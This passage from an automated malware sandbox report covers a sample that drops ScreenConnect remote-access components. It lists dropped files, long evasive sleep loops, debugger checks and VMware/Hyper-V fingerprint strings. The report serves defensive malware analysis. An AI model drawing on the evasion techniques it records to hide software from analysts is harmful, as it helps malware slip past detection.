Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..ient_4b14c015c87c1ad8_0018.0002_none_e9da84be0c9b9883\ScreenConnect.Client.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre...exe_25b0fbb6ef7eb094_0018.0002_none_985bc5604181410b\ScreenConnect.WindowsBackstageShell.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.Windows.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..dows_4b14c015c87c1ad8_0018.0002_none_583cfecd399a55af\ScreenConnect.Windows.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..vice_4b14c015c87c1ad8_0018.0002_none_0518bf34930ba5ea\ScreenConnect.ClientService.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.WindowsBackstageShell.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.Client.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..core_4b14c015c87c1ad8_0018.0002_none_53c526ebfd4c427f\ScreenConnect.Core.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.ClientService.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.WindowsFileManager.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\AV4P72YG.WNT\QWOXXCB2.CR6\ScreenConnect.Core.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre...exe_25b0fbb6ef7eb094_0018.0002_none_985bc5604181410b\ScreenConnect.WindowsFileManager.exe Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe TID: 7644 Thread sleep time: -40000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -34126476536362649s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -599874s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -599763s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -599656s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -599523s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -599371s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -599263s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -599094s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -598234s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -597947s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -597781s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -597666s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -597547s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -597435s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -597327s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -597218s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -597109s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -597000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -596890s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -596781s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -596672s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -596562s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -596453s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -596343s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -596234s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -596125s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -596013s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -595906s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -595793s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -595682s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -595575s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -595328s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -595187s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -595078s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -594966s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -594859s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -594750s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -594640s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -594531s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -594422s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -594312s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -594203s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -594094s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -593984s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -593875s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -593765s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -593656s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -593545s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -593437s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -593314s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -593187s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -593077s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -592954s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -592795s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -592684s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -592550s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -592433s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -592280s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 7972 Thread sleep time: -592172s >= -30000s Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6464 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe TID: 2896 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe TID: 2916 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe TID: 4420 Thread sleep count: 298 > 30
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe TID: 7784 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe TID: 5292 Thread sleep time: -922337203685477s >= -30000s
Queries disk information (often used to detect virtual machines)
Source: C:\Windows\System32\svchost.exe File opened: PhysicalDrive0 Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Code function: 0_2_00914A4B FindFirstFileExA, 0_2_00914A4B
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Thread delayed: delay time: 40000 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599874 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599763 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599656 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599523 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599371 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599263 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599094 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598234 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597947 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597781 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597666 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597547 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597435 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597327 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597218 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597109 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597000 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596890 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596781 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596672 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596562 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596453 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596343 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596234 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596125 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596013 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595906 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595793 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595682 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595575 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595328 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595187 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595078 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594966 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594859 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594750 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594640 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594531 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594422 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594312 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594203 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594094 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593984 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593875 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593765 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593656 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593545 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593437 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593314 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593187 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593077 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 592954 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 592795 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 592684 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 592550 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 592433 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 592280 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 592172 Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.ClientService.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\Apps\2.0\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\Apps\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q3JDG51V.APM\A1EBH2Z2.XZ4\scre..tion_25b0fbb6ef7eb094_0018.0002_f3cfe998554fce42\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\ Jump to behavior
Source: Amcache.hve.6.dr Binary or memory string: VMware
Source: Amcache.hve.6.dr Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr Binary or memory string: VMware, Inc.
Source: Amcache.hve.6.dr Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: dfsvc.exe, 00000001.00000002.2241334465.0000021CEAA36000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2237356712.0000021CE89F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2607356741.000002074AC54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2605932091.000002074562B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605859392.000001E11B0D5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605538080.000001E11B05E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2605455938.000001E11B02F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: Amcache.hve.6.dr Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.6.dr Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: ScreenConnect.ClientService.exe, 0000000C.00000002.1809581560.000000000102D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.6.dr Binary or memory string: vmci.sys
Source: Amcache.hve.6.dr Binary or memory string: vmci.syshbin`
Source: Amcache.hve.6.dr Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.6.dr Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr Binary or memory string: VMware-42 27 ae 88 8c 2b 21 02-a5 86 22 5b 84 51 ac f0
Source: Amcache.hve.6.dr Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: svchost.exe, 00000008.00000002.2606377277.000001E11BE0C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMWare
Source: Amcache.hve.6.dr Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.6.dr Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.6.dr Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: C:\Windows\System32\svchost.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Process queried: DebugPort Jump to behavior
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\Qjq85KfhBC.exe Code function: 0_2_0091191F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_0091191F
Contains functionality to dynamically determine API calls
